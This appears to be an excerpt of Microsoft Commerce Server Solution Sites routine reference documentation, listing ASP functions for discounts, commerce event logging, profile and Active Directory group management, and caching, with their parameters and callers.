colRenderAdvancedSearchTab | services\include\render_common.asp
colRenderCountryNames | services\include\render_common.asp
colRenderForeignKeyProperty | services\include\render_edit_common.asp
colRenderPasswordProperty | services\include\render_edit_common.asp
colRenderPrimaryKeyProperty | services\include\render_edit_common.asp
colRenderProperty | services\include\render_edit_common.asp
colRenderPropertyTip | services\include\render_edit_common.asp
colRenderSimpleSearchTab | services\include\render_common.asp
colRenderUniqueKeyProperty | services\include\render_edit_common.asp
ConvertListToArray | include\std_util_lib.asp
CopyProductToItem | template\discount.asp
CorrectRequest | include\std_cookie_lib.asp
CreateOptOutList | opt-out.asp
CreatePOIndexes | basket.asp
CreateSet | include\std_util_lib.asp
DeleteAllActionHandler | services\include\edit_handlers.asp
DeleteAllProfiles | services\include\delete_profiles.asp
DeleteRegisteredUser | services\include\delete_profiles.asp
DeleteSelectedProfiles | services\include\delete_profiles.asp
DeleteSingleProfile | services\include\delete_profiles.asp
DeSelectAllActionHandler | services\include\edit_handlers.asp
dictAggregatePreviews | pickship.asp
dictGetCatalogAttributes | include\global_catalog_lib.asp
dictGetInitialFieldValues | newaddr.asp
dictGetProfileSchemaForAllProfileTypes | include\global_profile_lib.asp
dictGetpropertyFromList | services\include\lib.asp
dictGetPropertySchema | include\global_forms_lib.asp
dictGetRSFields | include\global_catalog_lib.asp
dictGetSearchDictionaryForPage | services\include\lib.asp
DoubleQuote | include\std_util_lib.asp


AddDiscountMessages (std_ordergrp_lib.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.

Definition

Sub AddDiscountMessages(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

Main (basket.asp)

Main (summary.asp)


AddDiscountMessages (services\include\logic_orders.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.

Definition

Sub AddDiscountMessages(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

services\include\logic_orders.asp

Routines Called

None.

Called By

mscsGetOrderGroupWithDiscountsByID


AddGroupAndPropertySchemas - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub recursively adds all group and property definitions for a profile to a flat list of Dictionary objects contained in a SimpleList object.

Definition

Sub AddGroupAndPropertySchemas(
  byVal oGroup,
  byRef listProperties,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_profile_lib.asp

Routines Called

dictGetPropertySchema

GetDictionary

Called By

listGetProfileSchema


AddPartnerAndCustomerServicePages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub assigns friendly names to pages used by Customer and Partner Services.

Definition

Sub AddPartnerAndCustomerServicePages(
  byRef dictPage
)

Defined in File

services\include\global_service_lib.asp

Routines Called

None.

Called By

GetSitePages


AddPartnerAndCustomerServiceStyles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds styles used by Customer and Partner Services.

Definition

Sub AddPartnerAndCustomerServiceStyles(
  byRef objSiteStyle
)

Defined in File

services\include\global_service_lib.asp

Routines Called

None.

Called By

GetSiteStyles


AddSetClauseAndUpdateUserAccountControl - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the PartnerDeskRole property in the profile of the user by creating the appropriate SQL statement.

Definition

Function AddSetClauseAndUpdateUserAccountControl(
  byRef bFieldUpdated,
  byRef bFieldSelected
  byVal dictSearchOptions
)

Return Value

A string containing a SQL statement.

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetRequestString

GetUserAccountControl

sAddSetClause

sGetThisPageProperty

UpdateUserAccountControlProperty

Called By

SaveAllSelectedProfiles


AddURLArguments - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function appends property/value pairs to a URL string.

Definition

Function AddURLArguments(
  byVal url,
  byRef arrParams,
  byRef arrVals
)

Parameters

url
A string containing a URL.
arrParams
An array of strings containing the property names.
arrVals
An array of strings containing the values corresponding to the property names.

Return Value

A string containing the new URL string.

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

IsPersistentCookieAllowed

Remarks

The format of the resulting URL string is:

   url?property1=value1&property2=value2


Analysis_ConstructKeyValueString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a key/value pair for a Commerce event.

Definition

Function Analysis_ConstructKeyValueString(
  byVal sKey,
  byVal sValue
)

Parameters

sKey
A string containing the key.
sValue
A string containing the value corresponding to the key.

Return Value

A string containing the key/value pair.

Defined in File

include\analysis.asp

Routines Called

DoubleQuote

Called By

Analysis_ConstructPRID

Analysis_LogSubmitOrder

Remarks

The format of the string is:

   sKey="sValue"

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_ConstructPRID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the PRID property string for "add to basket" and "remove from basket" Commerce events.

Definition

Function Analysis_ConstructPRID(
  byVal sCatalogName,
  sCategoryName,
  byVal sProductID
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Return Value

A string containing the property.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructKeyValueString

Called By

Analysis_LogAddToBasket

Analysis_LogRemoveFromBasket

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the string is:

   sCatalogName;sProductID;sVariantID

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogAddToBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event (CEVT) when an item is added to the basket.

Definition

Sub Analysis_LogAddToBasket(
  byVal sCatalogName,
  byVal sCategoryName,
  byVal sProductID,
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructPRID

Analysis_LogEvent

Called By

Main (_additem.asp)

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the logged event is:

   CEVT={T=BSK,EVT=AIBSK,sCatalogName;sProductID;sVariantID}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogEvent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function logs a Commerce event (CEVT) to the Web server log file.

Definition

Sub Analysis_LogEvent(
  byVal sClass,
  byVal sEvent,
  byVal rgKeyValueStrings
)

Parameters

sClass
A string containing the class of the event.
sEvent
A string containing the name of the event.
rgKeyValueStrings
An array of strings containing the properties to log.

Defined in File

include\analysis.asp

Routines Called

None.

Called By

Analysis_LogAddToBasket

Analysis_LogRemoveFromBasket

Analysis_LogSubmitOrder

Remarks

The format of the logged event is:

   CEVT={T=sClass,EVT=sEvent,property1,property2,...}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogRemoveFromBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event (CEVT) when an item is removed from the basket.

Definition

Sub Analysis_LogRemoveFromBasket(
  byVal sCatalogName,
  sCategoryName,
  byVal sProductID,
  byVal sVariantID
)

Parameters

sCatalogName
A string containing the catalog name.
sCategoryName
A string containing the category name.
sProductID
A string containing the product ID.
sVariantID
A string containing the variant ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructPRID

Analysis_LogEvent

Called By

Main (_delitem.asp)

Remarks

The sCategoryName parameter is not used.

The sVariantID parameter can be Null.

The format of the logged event is:

   CEVT={T=BSK,EVT=RIBSK,sCatalogName;sProductID;sVariantID}

See Also

About the Analysis Integration Feature for Solution Sites


Analysis_LogSubmitOrder - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub logs a Commerce event when an order is submitted.

Definition

Sub Analysis_LogSubmitOrder(
  byVal sOrderID
)

Parameters

sOrderID
A string containing the order ID.

Defined in File

include\analysis.asp

Routines Called

Analysis_ConstructKeyValueString

Analysis_LogEvent

Called By

SaveBasketAsOrder

Remarks

The format of the logged event is:

   CEVT={T=ORD,EVT=SUBOR,ORID=OrderID}

See Also

About the Analysis Integration Feature for Solution Sites


Application_OnStart - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs when the application starts.

Definition

Sub Application_OnStart()

Defined in File

global.asa

Routines Called

Main (include\global_main_lib.asp)

Remarks

The application starts when the first user requests a file in the application.


ApplyVendorInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the vendor information for the specified catalog and adds that information to the dictionary containing the line item information if BizTalk Server integration is enabled (i_BizTalkOptions = 1).

Definition

Sub ApplyVendorInfo(
  dictItem,
  sCatalogName
)

Parameters

dictItem
A Dictionary object containing the product information.
sCatalogName
A string containing the catalog name.

Defined in File

_additem.asp

Routines Called

None.

Called By

Main (_additem.asp)


arrPopulateOrderHeaderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function populates an array of table cells representing one order in a recordset of orders. The first cell is a radio button that is selected on the first order.

Definition

Function arrPopulateOrderHeaderDetails(
  byRef iCount,
  byRef rsOrder
)

Parameters

iCount
An integer that determines whether the rendered "RADIO" element contains the CHECKED attribute.
rsOrder
A Recordset object containing order information.

Return Value

The populated array.

Defined in File

services\include\render_orders.asp

Routines Called

htmRenderCurrency

RenderRadioButton

sGetOrderStatusDetails

Called By

tableRenderOrdersListContents

Remarks

The first member of the array specifies an HTML RADIO button INPUT element. The remaining members of the array contain order information.


arrPopulateProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function populates an array with the properties of a profile.

Definition

Function arrPopulateProfileDetails(
  byVal sAction,
  byVal sSubAction,
  byVal Count
  byVal rsProfile
)

Defined in File

services\include\render_list.asp

Routines Called

htmRenderUniqueIDForProfile

listCloneProfileSchema

sGetDisplayValueForProperty

sGetThisPageProperty

Called By

tableRenderMultipleRecords


arrSearchDept - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves a list of searchable categories from a catalog.

Definition

Function arrSearchDept(
  byRef sItemSeparator
)

Parameters

sItemSeparator
A string containing the character sequence that separates the catalog and category names.

Return Value

A one-dimensional array of strings containing the catalog name, item separator, and category name.

Defined in File

srchdept.asp

Routines Called

GetCatalogForUser

mscsUserCatalogs

Called By

Main (srchdept.asp)

Remarks

The sItemSeparator parameter equals "::::". Thus the format of one of the strings is:

   catalog_name::::category_name


bAddUserToGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a user to an existing Active Directory group.

Definition

Function bAddUserToGroup(
  byVal szGroupName,
  byVal sUserDN
)

Parameters

szGroupName
A string containing the name of the Active Directory group.
sUserDN
A string containing the distinguished name of the user.

Return Value

A Boolean that indicates whether the user was successfully added to the group. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

rsGetProfile

Called By

bPaintACLForUser


bCheckIfProfileExists - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether a specific profile already exists.

Definition

Function bCheckIfProfileExists(
  byRef sStatusField,
  byRef iStatusID
)

Defined in File

services\include\check_profile.asp

Routines Called

EnsureUserProfile

GetRequestString

rsGetProfile

sGetThisPageProperty

Called By

PrepareInsertProfile

PrepareSaveProfiles


bCheckIfThePropertyFeatureIsSupported - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the featureID attribute for the specified property is set.

Definition

Function bCheckIfThePropertyFeatureIsSupported(
  byVal oProperty
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


bClickedViewButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the user clicked the View button.

Definition

Function bClickedViewButton()

Return Value

A Boolean that indicates whether the View button was clicked. True indicates the button was clicked. False indicates the button was not clicked.

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

PerformSpecificationSearch


bClickedViewOrSearchButton - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the user clicked either the View or Search buttons.

Definition

Function bClickedViewOrSearchButton()

Return Value

A Boolean that indicates whether one of the buttons was clicked. True indicates one of the buttons was clicked. False indicates that neither of the buttons were clicked.

Defined in File

stepsrch.asp

Routines Called

GetRequestString

Called By

Main (stepsrch.asp)


bFullTextResultsAreCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the specified free-text search phrase is cached.

Definition

Function bFullTextResultsAreCached(
  sSearchPhrase,
  byRef htmCachedResult,
  byRef sCacheKey
)

Parameters

sSearchPhrase
A string containing the search phrase.
htmCachedResult
A string containing the HTML cached results.
sCacheKey
A string containing the cache key.

Return Value

A Boolean that indicates whether the phrase is cached. True indicates the phrase is cached. False indicates either the phrase is not cached or that free-text search is not installed.

Defined in File

search.asp

Routines Called

LookupCachedFragment

mscsUserCatalogsetID

RenderText

Called By

Main (search.asp)

Remarks

The cache key consists of the catalog ID concatenated with the search phrase.

If free-text search is not installed, the htmCachedResult parameter contains an error message and the sCacheKey parameter is an empty string.


bHandlePaintingACLsForUsersInAD - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function handles painting of appropriate access control lists (ACLs) for users in Active Directory (adding the users to/from the appropriate Active Directory groups, for example, ADMINGROUP or USERGROUP).

Definition

Function bHandlePaintingACLsForUsersInAD(
  byVal sSubAction,
  byVal sProfileIDs,
  ByVal arrPrevRole,
  ByVal arrCurrentRole
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.
arrPrevRole
An array of integers specifying the previous PartnerDesk roles of the users.
arrCurrentRole
An array of integers specifying the current PartnerDesk roles of the users.

Return Value

A Boolean indicating whether the users were successfully added. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bPaintACLForUser

GetUserPropertyFromID

Called By

bInsertProfileDetails

bSaveProfileDetails


bInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the login name and password of a user and, if successful, creates a new profile.

Definition

Function bInsertProfile(
  byVal sSubAction,
  byRef sStatusField,
  byRef sStatusID,
  byRef sProfileIDs
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sStatusField
A string containing the status field code.
sStatusID
A string containing the status ID code.
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.

Return Value

A Boolean indicating whether the credentials were valid and the profile was created. True indicates the credentials were valid and the profile was created. False indicates either the credentials were invalid or the profile could not be created.

Defined in File

services\include\save_one_profile.asp

Routines Called

bInsertProfileDetails

bValidateLoginNameChars

bValidatePasswordChars

EnsureUserProfile

GetQualifiedName

GetRequestString

sGetThisPageProperty

Called By

PrepareInsertProfile


bInsertProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function inserts property values into an empty profile.

Definition

Function bInsertProfileDetails(
  byVal sSubAction,
  byRef sStatusField,
  byRef sStatusID,
  byVal rsProfiles,
  byVal sProfileIDs
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sStatusField
A string containing the status field code.
sStatusID
A string containing the status ID code.
rsProfiles
A Recordset object containing a profile.
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.

Return Value

A Boolean indicating whether the property values were successfully added. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bHandlePaintingACLsForUsersInAD

bInsertProperty

DeleteSingleProfile

listCloneProfileSchema

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserParentDNProperty

SaveUserPartnerDeskRoleProperty

sGetThisPageProperty

Called By

bInsertProfile


bInsertProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the specified property is supported for the user and, if so, adds it to the profile.

Definition

Function bInsertProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

bSaveReadWriteProperty

iGetCurrentUserPropertyAccessClass

InsertHiddenProperty

SaveReadOnlyProperty

sGetUserAccessForThisProperty

Called By

bInsertProfileDetails


bInvalidDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether a given date is not valid.

Definition

Function bInvalidDate(
  sDate,
  dtDate
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria


bIsAddressNameUnique - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines if the specified address name is unique.

Definition

Function bIsAddressNameUnique(
  byVal sAddrName
)

Parameters

sAddrName
A string containing the address name.

Return Value

A Boolean indicating whether the address name is unique. True indicates the name is unique. False indicates the name already exists.

Defined in File

newaddr.asp

Routines Called

GetUserAddresses

Called By

iValidateSubmittedAddressForAddressBook


bIsPropertyValueAdded - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines if any property values were added in the edit page.

Definition

Function bIsPropertyValueAdded()

Defined in File

services\include\check_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sGetUserAccessForThisProperty

Called By

PrepareCloseAction


bIsSearchDeptPageCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether this page has already been generated and cached.

Definition

Function bIsSearchDeptPageCached(
  byRef htmCachedPage,
  byRef iCatalogSetID
)

Parameters

htmCachedPage
A string containing the HTML cached page.
iCatalogSetID
An integer containing the catalog set ID.

Return Value

A Boolean that indicates whether the page is cached. True indicates the page is cached. False indicates the page is not cached.

Defined in File

srchdept.asp

Routines Called

LookupCachedFragment

mscsUserCatalogsetID

Called By

Main (srchdept.asp)


bIsShippingMethodSupported - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the specified shipping method is supported.

Definition

Function bIsShippingMethodSupported(
  byVal sSelectedMethodID
)

Defined in File

_setship.asp

Routines Called

None.

Called By

CatchErrors (_setship.asp)


bIsSiteTerm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the specified property is a site term.

Definition

Function bIsSiteTerm(
  byVal oXMLProperty,
  byRef sReferenceString
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

None.

Called By

oGetSiteTermOptions


bIsStepSearchPageCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether this page has already been generated and cached.

Definition

Function bIsStepSearchPageCached(
  sCategoryName,
  sCatalogName,
  byRef htmPageContent,
  byRef sCacheKey
)

Parameters

sCategoryName
A string containing the category name.
sCatalogName
A string containing the category name.
htmPageContent
A string returning the cached page.
sCacheKey
A string returning the cache key.

Return Value

A Boolean that indicates whether the page is cached. True indicates the page is cached. False indicates the page is not cached.

Defined in File

stepsrch.asp

Routines Called

LookupCachedFragment

Called By

Main (stepsrch.asp)

Remarks

If the page is not cached, the htmPageContent parameter returns the empty string. However, the cache key, consisting of the category and catalog names, is still returned.


bMatchesPattern - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the value specified by the sValue parameter matches the expression specified by the sPattern parameter. If a match is found, this function returns True; otherwise it returns False.

Definition

Function bMatchesPattern(
  oRegEx,
  sValue,
  sPattern
)

Parameters

oRegEx
A reference to a Visual Basic Scripting Edition RegExp object.
sValue
A string containing text to be tested against the regular expression specified by the sPattern parameter.
sPattern
A string containing a regular expression pattern that is valid for the Visual Basic Scripting Edition RegExp object.

Return Value

A Boolean where True indicates that the sValue parameter was found to match the pattern specified by the sPattern parameter, and False otherwise.

Defined in File

include\form_lib.asp

Routines Called

None.

Called By

bValidateLoginNameChars

bValidatePasswordChars

GetFieldsErrorDictionary


Bold - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags "<B>" and "</B>", and then returns the resulting string.

Definition

Function Bold(
  byVal s
)

Parameters

s
A string that contains the text to be wrapped in bold tags (<B> and </B>).

Return Value

A string that contains the bold-wrapped text.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions

rowRenderPropertyGroup

tableRenderFooterInfo

tableRenderMessageBoxPage

tblRenderOrderDetailsContents


BooleanToString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a Boolean value to a string value.

Definition

Function BooleanToString(
  sValue
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


bPaintACLForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function paints access control lists (ACLs) for a user in an Active Directory store. This is achieved by adding or removing the user to or from <COMPANY_NAME>_ADMINGROUP or <COMPANY_NAME>_USERGROUP.

Definition

Function bPaintACLForUser(
  byVal sUserCN,
  byVal sSubAction,
  byVal iUserPrevPartnerDeskRole,
  byVal iUserPartnerDeskRole
)

Parameters

sUserCN
A string containing the common name for the user.
sSubAction
A string containing the subaction.
iUserPrevPartnerDeskRole
An integer specifying the previous PartnerDesk role of the user.
iUserPartnerDeskRole
An integer specifying the current PartnerDesk role of the user.

Return Value

A Boolean indicating whether the user was successfully added or removed. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

bAddUserToGroup

bRemoveUserFromGroup

EnsureUserProfile

GetOrgAttributeFromID

Called By

bHandlePaintingACLsForUsersInAD


bProfileHasChanged - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the posted values for a profile are different than the values for the profile in the Profile store.

Definition

Function bProfileHasChanged(
  byVal sProfileID
)

Defined in File

services\include\check_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

rsGetProfileDetails

sGetUserAccessForThisProperty

Called By

htmRenderMessageBoxPage

PrepareCloseAction


bRegistrationPageNotAvailable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the registration page is unavailable.

Definition

Function bRegistrationPageNotAvailable()

Return Value

A Boolean indicating whether the registration page is unavailable. True indicates the page is not available. False indicates the page is available.

Defined in File

login\newuser.asp

Routines Called

None.

Called By

Main (login\newuser.asp)

Remarks

If any of the following App Default Config properties are set, the registration page is unavailable:

  • i_SiteRegistrationOptions = REGISTRATION_NOT_SUPPORTED
  • i_FormLoginOptions = FORM_LOGIN_NOT_SUPPORTED
  • i_FormLoginOptions = USE_IIS_AUTH


bRemoveUserFromGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes a user from an Active Directory group.

Definition

Function bRemoveUserFromGroup(
  byVal szGroupName,
  byVal sUserDN
)

Parameters

szGroupName
A string containing the name of the group to remove the user from.
sUserDN
A string containing the distinguished name of the user.

Return Value

A Boolean indicating whether the user was successfully removed. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

rsGetProfile

Called By

bPaintACLForUser


BRTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function appends the <BR> tag to the end of the string specified by the s parameter, and then returns the resulting string.

Definition

Function BRTag(
  s
)

Parameters

s
A string that contains the text that will have a BR element appended.

Return Value

A string that contains the text passed in the s parameter, appended with the <BR> tag.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

InsertLineBreaks


bSaveProfileAndRedirect - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the profile properties and redirects the delegated administrator to the services\partner\users.asp page.

Definition

Function bSaveProfileAndRedirect(
  byVal sSubAction,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byVal sActionPage
)

Return Value

A Boolean indicating whether the profile was successfully updated. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bSaveProfileDetails

iGetCountOfProfiles

rsGetProfileDetails

Called By

htmSaveChangesConfirmationHandler


bSaveProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the value of each property in the profile. If this is a user profile and Active Directory is used, the access control lists (ACL) are updated.

Definition

Function bSaveProfileDetails(
  byVal sSubAction,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef sStatusID,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

bHandlePaintingACLsForUsersInAD

bSaveProperty

bValidateLoginNameChars

GetRequestString

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

sGetThisPageProperty

sGetUserAccessForThisProperty

UpdateUserProfile

Called By

bSaveProfileAndRedirect

PrepareSaveProfiles


bSaveProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the specified property.

Definition

Function bSaveProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs,
  byVal sAccessType
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bSaveReadWriteProperty

SaveReadOnlyProperty

Called By

bSaveProfileDetails


bSaveReadWriteProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves a read/write property.

Definition

Function bSaveReadWriteProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProperty

bSaveProperty


bValidateLoginNameChars - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the characters in a login name.

Definition

Function bValidateLoginNameChars(
  sLogon
)

Defined in File

services\include\lib.asp

Routines Called

bMatchesPattern

Called By

bInsertProfile

bSaveProfileDetails


bValidatePasswordChars - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the characters in the string specified by the sPassword parameter.

Definition

Function bValidatePasswordChars(
  sPassword
)

Parameters

sPassword
A string containing the password.

Return Value

A Boolean indicating whether the characters in the password are valid. True indicates they are all valid. False indicates at least one is not valid.

Defined in File

services\include\lib.asp

Routines Called

bMatchesPattern

Called By

bInsertProfile

UpdatePasswordActionHandler


CacheFragment - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub caches an HTML fragment.

Definition

Sub CacheFragment(
  byVal sCacheName,
  byVal sCacheItemName,
  byVal htmlString
)

Parameters

sCacheName
A string containing the name of the cache.
sCacheItemName
A string used to identify the cached HTML fragment.
htmlString
A string containing the HTML fragment to cache.

Defined in File

include\std_cache_lib.asp

Routines Called

GetTicketInUrlArg

Called By

htmCategoryHTML

htmRenderDefaultPage

htmRenderFillOutForm

htmRenderFullTextSearchResults

htmRenderLoginSection

htmRenderMenu

Main (pickship.asp)

Main (product.asp)

Main (srchdept.asp)

Main (stepsrch.asp)

RenderNavbar

Remarks

If the HTML fragment contains a ticket, it is replaced with a token ("__TICKET__"). This token is replaced with the ticket of any user who subsequently calls LookupCachedFragment for the given cache item (sCacheItemName).

The key to the cached item consists of the item name, sCacheItemName, appended with the language used, and a constant identifying whether the ticket of the user is stored in a cookie or in the URL.


CacheObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub caches the specified object.

Definition

Sub CacheObject(
  byVal sCacheName,
  byVal sCacheItemName,
  byVal oObject
)

Parameters

sCacheName
A string containing the name of the cache.
sCacheItemName
A string used to identify the cached object.
oObject
The object to be cached.

Defined in File

include\std_cache_lib.asp

Routines Called

None.

Called By

oCachedDiscountProductInfo


CatchErrors (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the addrform.asp page if the address book is disabled, or to the basket.asp page if the basket is empty.

Definition

Sub CatchErrors(
  byVal iAddrType
)

Parameters

iAddrType
An integer constant representing the address type (shipping or billing).

Defined in File

addrbook.asp

Routines Called

GenerateURL

LoadBasket

Called By

Main (addrbook.asp)


CatchErrors (addrform.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty.

